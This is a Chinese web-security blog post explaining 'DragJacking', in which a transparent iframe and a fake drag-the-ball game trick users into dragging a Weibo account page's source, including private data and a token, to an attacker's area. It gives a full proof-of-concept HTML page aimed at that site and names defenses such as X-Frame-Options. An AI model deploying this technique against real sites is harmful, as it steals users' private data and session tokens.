通过DragJacking获取用户隐私数据

2013-01-14 103893人围观 ,发现 9 个不明物体 WEB安全

      拖放功能目前已经被各主流浏览器所支持,不过在功能支持上及安全性上还是有所差异的。具体技术细节可以阅读MOZILLA的Drag&Drop章节进行了解。 在HTML5中,拖放是标准的一部分,任何元素(文本,链接,文件,源码,文本结点)等都可以进行拖放。这样一种新的信息获取方式也导致了一些安全问题。攻击者可以通过伪装,欺骗等方式,让目标在不知情的情况下将敏感信息拖放到不可信区域从而被攻击者获取。

      常见的攻击方式是将存在风险的页面内嵌在iframe中,通过控制position,opacityz-index几个属性来透明化iframe以欺骗用户的视觉,诱使用户将iframe中的数据拖放到攻击者预先设置好的区域,并从中解析用户拖放的敏感数据。既然这种攻击方式涉及到iframe那么显然对应的防御措施是进行frame busting或使用X-Frame-Options头来阻止页面被内嵌。针对frame busting有各种bypass的方式即Busting Frame Busting

      关于Drag&Drop,目前Chrome禁止了跨域拖放而FF没有做相关限制,针对禁止跨域拖放的问题后续文章会进行讨论,这次主要针对FF可以跨域拖放的情况。

以下是一个可行的简单Demo,适用于FF

这里用到了FFChrome中支持view-source查看源码的特性,而Chrome中不允许iframe内嵌view-source句柄,不过FF下没有限制。
这里以http://account.weibo.com/set/index页面进行测试,观察response header,没有使用x-frame-options头。

下面的gif动画,展示了利用的过程,通过一步步的欺骗最终获取到目标微博的个人隐私数据及token。


过程总结为以下几步:

1,将存在劫持风险的页面内嵌到iframe中。
2,用户第一次"拖放",实际上是全选iframe中的页面源码。
3,场景引导用户进行第二次拖放。
4,用户第二次拖放,将之前全选的内容拖放到指定区域,并从中解析出敏感数据。

这里贴个主页面的源码,整个Demo下载地址在最后给出了。

<html>
<head>
<title>DragJacking in weibo by pnig0s</title>

<script>
function setFull(event) {
	event.preventDefault();
	document.getElementById('trash').src = 'basket.jpg';
	document.getElementById('onemore').style.visibility = 'visible';
	document.getElementById('alert').style.visibility = 'visible';
}
function showTheMagic() {
	if(document.getElementById('bottom').style.opacity == 0)
		document.getElementById('bottom').style.opacity = '0.3';
	else
		document.getElementById('bottom').style.opacity = '0.0';
}
</script>		
</head>
<body>
<input type='submit' value='show me the magic' onclick='showTheMagic()'/>
<div style='position:fixed; top:20px'>
<div id="bottom" style="opacity:0.0;z-index:1;position:fixed;width:60%;height:100%" align='center'>
	<iframe id="content" style="position:fixed;top:23px;left:530px;" src="view-source:view-source:http://account.weibo.com/set/index" width="50%" height="200px" scrolling='auto'></iframe>
	<iframe onmouseover='setFull(event)' style="position:fixed;top:280px" src="dropper.html" width="30%" height="30%" ></iframe>			
</div>
<div id="top" style="opacity:1.0;z-index:-1;position:fixed;width:90%;height:100%" align='center'>
	<img src="ball.png" id="support" width='8%'/>
	<img style="position:fixed;top:80px;left:250px;visibility:hidden;" src="missed.png" id="onemore" />
	<div style="position:fixed;top:180px;left:250px;visibility:hidden;" id="alert"><h1>U Missed!Try Again.</h1></div>	
	<br/>
	<img style="position:fixed;top:330px" src="basket.jpg" id="trash" />				
</div>
</body>
</html>

Demo下载地址

拙作一篇欢迎各种拍:)

发表评论

已有 9 条评论

取消
Loading...
css.php